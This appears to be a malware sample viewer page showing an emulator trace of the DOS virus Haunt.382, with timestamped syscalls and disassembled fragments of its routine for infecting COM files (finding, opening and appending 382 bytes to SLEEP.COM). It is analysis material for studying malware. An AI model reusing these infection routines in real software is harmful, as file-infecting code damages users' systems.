Sample viewer

vx.netlux.org/Virus.DOS.Haunt.382

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:50:40.950821388Z 42 PC: 22762 | Get date 0x22762: shr al, 1
0x22764: jae 0x22756
0x22766: cmp dl, 0x1f
0x22769: je 0x2272a
0x2276b: mov ah, 0x1a
0x2276d: mov dx, 0xff98
0x22770: int 0x21
0x22772: mov ah, 0x4e
0x22774: mov dx, 0xfd94
0x22777: xor cx, cx
0x22779: int 0x21
0x2277b: jb 0x227f9
0x2277d: mov al, byte ptr [0xffae]
0x22780: inc ax
0x22781: mov ah, 0x4f
0x22783: and al, 0x1f
0x22785: je 0x22777
0x22787: mov dx, 0xffb6
0x2278a: mov ax, 0x4300
0x2278d: int 0x21
2018-12-17T22:50:40.95388641Z 26 PC: 22772 | Set disk transfer address
2018-12-17T22:50:40.955273059Z 78 PC: 2277b | Find first file
2018-12-17T22:50:40.961136151Z 67 PC: 2278f | Get or set file attributes
2018-12-17T22:50:40.966546237Z 67 PC: 2279b | Get or set file attributes
2018-12-17T22:50:40.98469963Z 61 PC: 227a2 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:50:40.991433583Z 63 PC: 227af | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:50:40.997640366Z 66 PC: 227b9 | Move file pointer
2018-12-17T22:50:40.999437806Z 44 PC: 226ea | Get time 0x226ea: xchg ax, dx
0x226eb: and ax, 0xa0a
0x226ee: add ax, 0x2929
0x226f1: mov byte ptr [0xfe75], al
0x226f4: mov byte ptr [0xfe93], ah
0x226f8: mov ax, 0xde01
0x226fb: ror cx, 1
0x226fd: jb 0x22702
0x226ff: mov ax, 0xf303
0x22702: mov word ptr [0xfd67], ax
0x22705: xchg ax, cx
0x22706: and ax, 0xa0a
0x22709: add ax, 0x2929
0x2270c: mov byte ptr [0xfe57], al
0x2270f: mov byte ptr [0xfe37], ah
0x22713: mov al, 0xbe
0x22715: xchg byte ptr [0xfd5e], al
0x22719: mov byte ptr [0xfe1d], al
0x2271c: mov si, 0xfed2
0x2271f: mov al, 0x35
2018-12-17T22:50:41.001076521Z 64 PC: 227d0 | Write file or device (Write 382 bytes on handle 5)
2018-12-17T22:50:41.006146233Z 66 PC: 227d8 | Move file pointer
2018-12-17T22:50:41.007752543Z 64 PC: 227e2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:50:41.012039767Z 87 PC: 227f0 | Get or set file date and time
2018-12-17T22:50:41.013196353Z 62 PC: 227f4 | Close file
2018-12-17T22:50:41.019509473Z 67 PC: 227f9 | Get or set file attributes
2018-12-17T22:50:41.026165724Z 26 PC: 22800 | Set disk transfer address
2018-12-17T22:50:41.027025364Z 9 PC: 12a85 | Display string (String= 'Sophos Ltd, Oxford sacrificial COM goat 1400H bytes long ')
2018-12-17T22:50:41.030806976Z 0 PC: 12a89 | Program terminate